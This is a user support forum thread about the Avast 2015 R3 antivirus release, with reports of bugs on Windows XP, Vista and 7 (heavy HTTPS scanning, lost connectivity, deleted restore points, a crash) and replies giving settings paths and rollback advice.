When will this build be finalized? When will it be ready.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 17, 2015, 10:46:44 PM
When will this build be finalized? When will it be ready.
What do you mean, this is the final version (for now).
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Charyb on July 17, 2015, 11:07:34 PM
Can someone tell me why avast! R3 build doesn't install NG Sandbox on Windows 10 64bit (RTM build) ? Didn't get the option during install and in settings it's also not visible. What's up with that? I thought it's 100% compatible with Windows 10 ?


I performed a clean install on W8.1 x64 and see no signs of NG. It was there at the previous installation.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 18, 2015, 07:46:39 AM
please, help me! How to see a secure dns and hips in a avast R3? I have a ukrainian lokalization(language) of product. Please,  Send some screenshoots to see where are situated.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: AlphaZab on July 18, 2015, 10:23:06 AM
ASK, AVAST 2015 R3 working for windows 10 last build (RTM) 10240 ?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rednose on July 18, 2015, 11:25:48 AM
please, help me! How to see a secure dns and hips in a avast R3? I have a ukrainian lokalization(language) of product. Please,  Send some screenshoots to see where are situated.

Secure DNS : Avast - Settings - Active Protection - Secure DNS.

HIPS : Avast - Settings - Active Protection - File System Shield - Customise - Sensitivity - Suspicious behaviour (HIPS).

Screenshots are with default settings.

Greetz, Red.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 18, 2015, 01:24:39 PM
please, help me! How to see a secure dns and hips in a avast R3? I have a ukrainian lokalization(language) of product. Please,  Send some screenshoots to see where are situated.

Secure DNS : Avast - Settings - Active Protection - Secure DNS.

HIPS : Avast - Settings - Active Protection - File System Shield - Customise - Sensitivity - Suspicious behaviour (HIPS).

Screenshots are with default settings.

Greetz, Red.
ok, thanks :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 18, 2015, 02:26:29 PM

  • StreamFilter with HTTPS scanning  is now available also for Windows XP/Vista

It's not Secure DNS? I have Windows XP, and in Avast - Settings - Active Protection  Secure DNS not situated here ???
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 18, 2015, 02:34:50 PM
What is it??  ???
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 18, 2015, 03:01:19 PM
  • StreamFilter with HTTPS scanning  is now available also for Windows XP/Vista
It's not Secure DNS? I have Windows XP, and in Avast - Settings - Active Protection  Secure DNS not situated here ???

It would only be situated there if you had purchased SecureDNS ?

What is it??  ???

In memory of an avast team member who died recently.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Ivan81 on July 18, 2015, 03:14:05 PM
The new version of Avast Free is running without any visible problems on my Windows XP SP3 PC.
However I would like to report a small bug. When I use context menu clicking the right mouse button - the icon of Avast there seems not to be displayed correctly.
Maybe the icon file for the context menu is not fully compatible with Windows XP?     
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 18, 2015, 03:22:54 PM
The new version of Avast Free is running without any visible problems on my Windows XP SP3 PC.
However I would like to report a small bug. When I use context menu clicking the right mouse button - the icon of Avast there seems not to be displayed correctly.
Maybe the icon file for the context menu is not fully compatible with Windows XP?   
are you have secure dns?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Ivan81 on July 18, 2015, 03:34:06 PM
The new version of Avast Free is running without any visible problems on my Windows XP SP3 PC.
However I would like to report a small bug. When I use context menu clicking the right mouse button - the icon of Avast there seems not to be displayed correctly.
Maybe the icon file for the context menu is not fully compatible with Windows XP?   
are you have secure dns?

And is what is the connection between secure dns and my previous question?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 18, 2015, 03:48:07 PM
When I use context menu clicking the right mouse button - the icon of Avast there seems not to be displayed correctly.
Maybe the icon file for the context menu is not fully compatible with Windows XP?   
No problems here on XP, could you post a screenshot.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 18, 2015, 03:59:17 PM
The new version of Avast Free is running without any visible problems on my Windows XP SP3 PC.
However I would like to report a small bug. When I use context menu clicking the right mouse button - the icon of Avast there seems not to be displayed correctly.
Maybe the icon file for the context menu is not fully compatible with Windows XP?     

Previously this wasn't an issue on XP, but now the icon appears to be very low resolution (see attached) with a black box background. This despite my display being 1920X1200.

But my win7 netbook with a pathetic 10.1", 1024X600 screen, displays it just fine.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 18, 2015, 04:04:21 PM
Previously this wasn't an issue on XP, but now the icon appears to be very low resolution (see attached) with a black box background. This despite my display being 1920X1200.

Mine is exactly as David's attached image in my XP >:(
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 19, 2015, 05:41:16 PM
I have something funny in my Avast FREE. Can someone from Avast confirm that if this is the norm now or if it is a test ?

I do not have a registration date and my license is valid until the year 2023. I have read that Avast is trying to get rid of the yearly registration in thr free version but nothing has been said officialy though.

Any body else seeing this in his Avast FREE.

BTW I installed R3 2223 cleanly and did not ask to be register.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 19, 2015, 05:43:52 PM
I still get expiration dates in my VM :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 19, 2015, 05:47:37 PM
This is what I see:
(http://www.screencast-o-matic.com/screenshots/u/Lh/1437320811148-27396.png)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 19, 2015, 05:53:47 PM
I have something funny in my Avast FREE. Can someone from Avast confirm that if this is the norm now or if it is a test ?

I do not have a registration date and my license is valid until the year 2023. I have read that Avast is trying to get rid of the yearly registration in thr free version but nothing has been said officialy though.

Any body else seeing this in his Avast FREE.

BTW I installed R3 2223 cleanly and did not ask to be register.

Something I should have mentioned in my PM - whilst the registered but no dates - I have seen this once before (in the forums), empty fields/options in the UI and under normal circumstances I would have suggested running an avast Repair. Unfortunately I made the assumption that you would already have done that.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 19, 2015, 05:58:15 PM
Thanks Steven and Bob.

Yes that would be the regular UI section for registration, but as you can see in my images I do not have anything and in My Avast Account it says that my license is valid until the year 2023. Before someone ask, I did download Avast FREE from the link in this topic and not from someplace else.

@ David

No, I have not run a repair yet. One, I wnted to ask first, and two, Since in My Account says year 2023 seems like I am being the subjet of a test by Avast.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bruce_b on July 19, 2015, 06:01:26 PM
I had been on the Beta updates. When I saw 2223 went to final, I downloaded the final release. Was able to do a manual custom install over the top of the Beta .. now it shows I am no longer on the Beta channel .. so far, all ok.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 19, 2015, 06:20:05 PM
Repaired Avast and still no registration date and my license is still valid until the year 2023 ;)

I guess some of us are being tested with the new way Avast is going to deal with the new Avast FREE registration.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bruce_b on July 19, 2015, 06:25:32 PM
Too bad I was not one of them. My free license will need to be renewed in 46 days
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 19, 2015, 06:29:50 PM
Too bad I was not one of them. My free license will need to be renewed in 46 days
You make it sound like that's a hard job. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bruce_b on July 19, 2015, 06:46:09 PM
No, since the program usually reminds you and has a button to click on to renew it. Just something else to keep an eye on.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Ѕeeкɘя on July 19, 2015, 06:49:58 PM
Why is this new version so aggressive? I would like to know why is this version scanning HTTPS links even when the setting was set NOT to scan them? Its not respecting its own settings.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rompin Raider on July 20, 2015, 06:29:09 AM
Smooth install with AIS.....thanks Avast!  ;D



Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 20, 2015, 06:33:59 AM
Repaired Avast and still no registration date and my license is still valid until the year 2023 ;)
Maybe this is the year until XP will be supported... ;D ;)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: MartinZ on July 20, 2015, 09:20:09 AM

  • StreamFilter with HTTPS scanning  is now available also for Windows XP/Vista

It's not Secure DNS? I have Windows XP, and in Avast - Settings - Active Protection  Secure DNS not situated here ???

Hi,

sorry but SecureDNS is not available on WindowsXP
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: MartinZ on July 20, 2015, 09:24:01 AM
I have something funny in my Avast FREE. Can someone from Avast confirm that if this is the norm now or if it is a test ?

I do not have a registration date and my license is valid until the year 2023. I have read that Avast is trying to get rid of the yearly registration in thr free version but nothing has been said officialy though.

Any body else seeing this in his Avast FREE.

BTW I installed R3 2223 cleanly and did not ask to be register.

Hi.

this is ok. In some cases we test to drop the registrations. The fact that you don't see the date is because you are registered forever ;-) Nothing to worry about. It might change in the time but we will always notify you in advance in case the program needs registration again.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 20, 2015, 07:11:47 PM
I have something funny in my Avast FREE. Can someone from Avast confirm that if this is the norm now or if it is a test ?

I do not have a registration date and my license is valid until the year 2023. I have read that Avast is trying to get rid of the yearly registration in thr free version but nothing has been said officialy though.

Any body else seeing this in his Avast FREE.

BTW I installed R3 2223 cleanly and did not ask to be register.

Hi.

this is ok. In some cases we test to drop the registrations. The fact that you don't see the date is because you are registered forever ;-) Nothing to worry about. It might change in the time but we will always notify you in advance in case the program needs registration again.

Thank you MartinZ. Now I can pass that information if someone else asks.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: heikwith on July 21, 2015, 12:38:45 PM
Many problems in my dutch Vista after online update to AVAST 2015 R3 (2015.10.3.2223)
All my browsers cannot reach internet anymore (not found message or hang).
After disabling Avast everything looks normal.
Same problem after repair.
By the way repair changed the Avast language from Dutch to Englisch (should not be done, I think)

Everything Ok after going back to 2015 R2.

Are there other Vista users with same problems ?

Are there no Vista systems using Avast R3 or do they not have this problems.

Team, can I get also some advise what to do now with this Vista system.
Do not tell me to go to Windows 7 or 8.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: pcatalin100 on July 21, 2015, 01:40:38 PM
Hello. My website is blacklisted by avast. How can this be removed?

The website is: http://barsmin.com

Thanks.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 21, 2015, 02:19:24 PM
Hello. My website is blacklisted by avast. How can this be removed?
The website is: hxxp://barsmin.com Thanks.
-> https://sitecheck.sucuri.net/results/barsmin.com/
-> http://zulu.zscaler.com/submission/show/c663d3742be34d79b80fa1d05c30326e-1437481018

You can report a possible FP here: https://www.avast.com/contact-us.php?subject=VIRUS-FILE
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: wizzlbang on July 21, 2015, 10:45:30 PM
after the update, I just noticed it scans some files on startup it's never scanned before?

(http://i.imgur.com/Ov57ZFD.jpg)
(http://i.imgur.com/Hz3yYZd.png)

is this normal? part of the windows 10 optimization or something?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: wizzlbang on July 21, 2015, 11:01:11 PM
Why is this new version so aggressive? I would like to know why is this version scanning HTTPS links even when the setting was set NOT to scan them? Its not respecting its own settings.

God damn, you weren't kidding
5 minutes of browsing on tumblr, an it's already scanned 20,000 web objects. it usually takes me a whole day to scan that many web objects with normal browsing.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 21, 2015, 11:14:13 PM
They might have worked on the web filter or there might be something coming later :)

Just preparation if its the last case.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: wizzlbang on July 21, 2015, 11:33:17 PM
my main concern is that the sheer number of things it's scanning now is gonna start slowing things down. Like I said it normally takes me a whole day to accumulate 20,000 scanned objects and this new version burned through that in like 5 minutes, usually scanning over 300 objects per page
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: nalo89 on July 22, 2015, 09:13:24 PM
I installed the latest free version over the previous one on Vista Home Premium without any problems. Did the same on my wife's Windows 7 Home Premium but Smartscan resulted in Performance Issues. Clicking Resolve All results in the loading icon churning away until I select Skip as even after an hour it still shows the loading icon. Another thing the latest version did, and it has never happened with previous versions, was to delete all the restore points.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Pilcrow on July 22, 2015, 11:09:31 PM
I also could not reach the internet through my browsers after this update (10.3.2223). I have Windows Vista.
When I turned off Web Shield then I could reach the internet.
I reinstalled Avast but that did not fix it.
I went back to the previous version for now.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Avq2315 on July 22, 2015, 11:28:16 PM
This new version seems to be constantly scanning, looking in Statistics it appears to always be scanning item in the location C:\Users\[My name]\AppData\Local\Mozilla\Firefox\Profiles\[string of characters].default\cache2\entries\

Is this supposed to be the case?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: FormerYooper on July 23, 2015, 09:52:39 PM
Many problems in my dutch Vista after online update to AVAST 2015 R3 (2015.10.3.2223)
All my browsers cannot reach internet anymore (not found message or hang).
After disabling Avast everything looks normal.
Same problem after repair.
By the way repair changed the Avast language from Dutch to Englisch (should not be done, I think)

Everything Ok after going back to 2015 R2.

Are there other Vista users with same problems ?

I also have Vista.  Installed 2014.10.3.2223 & had nothing but problems ... BSOD, system freezing up, Carbonite backup not working, etc.  Ended up doing a system restore to a restore point prior to the Avast upgrade.  I am now back on version 10.2.2.2218 and everything has been resolved.  Now that I am stable again, I did a system image with Macrium Reflect.  Do the system restore.  Hope this info helps you!
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: dtorkelson on July 24, 2015, 01:11:59 AM
I've installed the newest version of Avast and it has messed up Outlook 2003 in numerous ways.

I desperately need a link to the prior version 2015.10.2.2218.

When I go to www.filehippo.com and try to download ANY version, it always downloads the newest version.

Can somebody please provide me a link to download version 2015.10.2.2218?

Thank you.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: dtorkelson on July 24, 2015, 01:14:11 AM
How did you go back to the previous version?  I can't find a link anywhere.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 24, 2015, 01:41:40 AM
How did you go back to the previous version?  I can't find a link anywhere.
http://www.oldapps.com/avast_antivirus.php#version-listing (http://www.oldapps.com/avast_antivirus.php#version-listing)
Hope that helps. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: FormerYooper on July 24, 2015, 04:20:19 AM
How did you go back to the previous version?  I can't find a link anywhere.
Just do a system restore like I did.  Go back to a restore point *before* you installed the update.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: hake on July 24, 2015, 11:20:01 AM
Excellent!  AVAST 2015 R3 (2015.10.3.2223) runs well with Windows XP.  There was a problem with AVAST 2015 R2 (2015.10.2.2218) which forced me to remain with AVAST 2015 R3 (2015.10.2.2215).
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Lord_Ami on July 24, 2015, 07:52:01 PM
Restarted PC and got notification that program was automatically updated.
Version: 10.3.2224
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 24, 2015, 08:56:47 PM
Restarted PC and got notification that program was automatically updated.
Version: 10.3.2224

This should only happen if you have previously been on the beta builds.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 24, 2015, 10:59:53 PM
Would be nice if we received an update of the changes in 2224. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 24, 2015, 11:21:39 PM
Would be nice if we received an update of the changes in 2224. :)

There is a very small list 2 items in the AVAST 2015 R3 SP1 Beta (2015.10.3.2224) (https://forum.avast.com/index.php?topic=174079.0) topic.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: kanon86 on July 25, 2015, 03:29:29 PM
I've been having a very serious problem ever since I updated a few days ago. My computer freezes after a few minutes of web browsing. I'm also on Vista and using firefox if that matters.

The web shield is obviously the one causing this. As another user has noticed, it scans like crazy. I'm up to 20000 items scanned in just a few minutes using 2223, whereas with the old version it'd be at 1000 max. No settings were changed.

I've tried doing a clean install and the problem was still there. Gone back to the old version for now and everything works fine again.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: heikwith on July 25, 2015, 03:43:19 PM
I also could not reach the internet through my browsers after this update (10.3.2223). I have Windows Vista.
When I turned off Web Shield then I could reach the internet.
I reinstalled Avast but that did not fix it.
I went back to the previous version for now.

Pilcrow,
Do you have a test Vista system to try the new AVAST 2015 R3 SP1 Beta (2015.10.3.2224).
I saw also the same problems as you with 10.3.2223, but i am not allowed to test in that Vista.
Thanks in advance.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: dtorkelson on July 25, 2015, 03:44:00 PM
Unfortunately I can't go back to a prior system restore as the new version WIPED OUT MY RESTORE POINTS.
This is so irritating...
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: nalo89 on July 26, 2015, 03:44:59 AM
Re the knocking out of restore points. Although this happened on my wife's 64 bit Windows 7 Home Premium but not on my 32 bit Vista Home Premium I have Tweaking.com's Registry Backup on both machines and make a restore point using Windows Volume Shadow Copy Service which backs up onto external usb hdds prior to installing a program. I also make restore points using the standard method to the C drive therefore ensuring belt and braces backups.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: FormerYooper on July 26, 2015, 06:43:28 AM
I have Vista & went back to a previous restore point after this update ruined everything.  I noticed that I only had 3 restore points to choose from.  After the system restore, I made sure I adjusted the amount of disk space system restore uses for restore points.  Those of you still on Vista may want to do the same.  Here is a link as to how to do it in Vista.

[urlhttp://bertk.mvps.org/html/diskspacev.html/url]

Read these directions very carefully before doing this.  I don't know why Microsoft made this so difficult to do in Vista.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 26, 2015, 03:08:37 PM
"I don't know why Microsoft made this so difficult to do in Vista."

Everything is Vista is difficult. It's a Windows 7 early beta. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Ѕeeкɘя on July 26, 2015, 07:14:23 PM
Would someone from avast please tell us how to restore the behavior of webshield to its previous state? I don't have the system restore point that I can go back nor do I want the old version in my system. This version is getting annoying already. Scanning of https links makes no sense to me. I don't want it to scan them. 62000+ items in just few minutes is preposterous.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 26, 2015, 08:24:13 PM
Would someone from avast please tell us how to restore the behavior of webshield to its previous state? I don't have the system restore point that I can go back nor do I want the old version in my system. This version is getting annoying already. Scanning of https links makes no sense to me. I don't want it to scan them. 62000+ items in just few minutes is preposterous.
Here's how to turn it off:
(http://www.screencast-o-matic.com/screenshots/u/Lh/1437840647533-69944.png)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Ѕeeкɘя on July 26, 2015, 10:48:08 PM
Hello Sir, thank you for the tip. However, this was my second post regarding this (see link below). Maybe I should raise a ticket regarding this since avast team is not responding here.

https://forum.avast.com/index.php?topic=173591.msg1234670#msg1234670
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 26, 2015, 11:00:20 PM
Hello Sir, thank you for the tip. However, this was my second post regarding this (see link below). Maybe I should raise a ticket regarding this since avast team is not responding here.

https://forum.avast.com/index.php?topic=173591.msg1234670#msg1234670 (https://forum.avast.com/index.php?topic=173591.msg1234670#msg1234670)
That's entirely up to you. I simply made the answer already given by Avast in your other post a little clearer.
A ticket never hurts and maybe Avast can offer you and everyone else some other relief for this problem.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: baptismoffiber on July 27, 2015, 01:55:01 AM
This update completely crashed my Windows 7 Home Premium partition - wiped out all Restore Points, as well as BSODing on normal boot and any safe mode boot.  I went though the usual troubleshooting:  Initially trying to revert to an earlier restore point via the Win 7 install DVD, only to find they were gone; doing Startup Repair once I found that I couldn't even boot into safe mode (it found no issues, which is always fun) and running chkdsk/sfc/etc.; posting BSOD minidumps to other forums for analysis, which essentially told me the same thing (remove Avast), which I was sort of able to do through another partition.  The last thing I expected from an update I honestly don't recall choosing to install was a good ol' BSOD upon restart.

Thankfully I have a Win 8.1 partition, and the data from the Win 7 is accessible.  However - really for my fiancee's convenience - I'd really love to be able at least boot into safe mode without freezing on "classpnp.sys" and then endlessly restarting when that mode is selected. 

TL;DR - Bricked my computer, erased my restore points, and has genuinely been more difficult to resolve than some viruses/malware I've come across.

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: FormerYooper on July 27, 2015, 06:17:33 AM
This update completely crashed my Windows 7 Home Premium partition - wiped out all Restore Points, as well as BSODing on normal boot and any safe mode boot.  I went though the usual troubleshooting:  Initially trying to revert to an earlier restore point via the Win 7 install DVD, only to find they were gone; doing Startup Repair once I found that I couldn't even boot into safe mode (it found no issues, which is always fun) and running chkdsk/sfc/etc.; posting BSOD minidumps to other forums for analysis, which essentially told me the same thing (remove Avast), which I was sort of able to do through another partition.  The last thing I expected from an update I honestly don't recall choosing to install was a good ol' BSOD upon restart.

Thankfully I have a Win 8.1 partition, and the data from the Win 7 is accessible.  However - really for my fiancee's convenience - I'd really love to be able at least boot into safe mode without freezing on "classpnp.sys" and then endlessly restarting when that mode is selected. 

TL;DR - Bricked my computer, erased my restore points, and has genuinely been more difficult to resolve than some viruses/malware I've come across.

I hear ya.  I got lucky and still had a restore point left.  Am almost to the point where I'll be dumping Avast.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 27, 2015, 06:39:37 AM
Thankfully I have a Win 8.1 partition, and the data from the Win 7 is accessible.  However - really for my fiancee's convenience - I'd really love to be able at least boot into safe mode without freezing on "classpnp.sys" and then endlessly restarting when that mode is selected. 
1. Start a new topic.
2. See: "If you cannot  Boot the computer"
Instructions: http://forum.avast.com/index.php?topic=53253.0
Title: Re: AVAST 2015 R3 SP1 (2015.10.3.2225)
Post by: heikwith on July 29, 2015, 12:26:16 PM
Is somebody running Vista with 2015.10.3.2225 and  has NO problems anymore.
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: iroc9555 on July 30, 2015, 12:44:05 AM
Is somebody running Vista with 2015.10.3.2225 and  has NO problems anymore.

I just got an user with Vista in the Spanish forum complaining of hanging broswer and freezing OS.
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: skinnypops on July 30, 2015, 05:53:12 PM
running 2025 free here. installed file system and web shields, ng. and network scanner only. vista home premium 32 bit.
so far all seems ok.

skinnypops
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: Ѕeeкɘя on July 31, 2015, 10:57:59 PM
I just reverted back to .2215. The recent version was too annoying.
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: MartinZ on August 03, 2015, 01:02:33 PM
I just reverted back to .2215. The recent version was too annoying.

Hi,

could you please be more specific, what was annoying?

Thanks
Martin
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: Ѕeeкɘя on August 09, 2015, 06:42:55 AM
I just reverted back to .2215. The recent version was too annoying.

Hi,

could you please be more specific, what was annoying?

Thanks
Martin

It wasn't respecting its 'https scanning' logic. I asked avast not to scan https links but it was doing anyway. That resulted in huge number of links to be scanned within few minutes of activity.
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: bob3160 on August 09, 2015, 02:42:11 PM
I just reverted back to .2215. The recent version was too annoying.

Hi,

could you please be more specific, what was annoying?

Thanks
Martin

It wasn't respecting its 'https scanning' logic. I asked avast not to scan https links but it was doing anyway. That resulted in huge number of links to be scanned within few minutes of activity.
You could have simple turned off https scanning. :)
Title: Re: AVAST 2015 R3(2015.10.3.2223)
Post by: Ѕeeкɘя on August 10, 2015, 07:53:11 PM
I just reverted back to .2215. The recent version was too annoying.

Hi,

could you please be more specific, what was annoying?

Thanks
Martin

It wasn't respecting its 'https scanning' logic. I asked avast not to scan https links but it was doing anyway. That resulted in huge number of links to be scanned within few minutes of activity.
You could have simple turned off https scanning. :)

I believe, I already did. There was no choice but to revert back. Since then I have disabled the program update.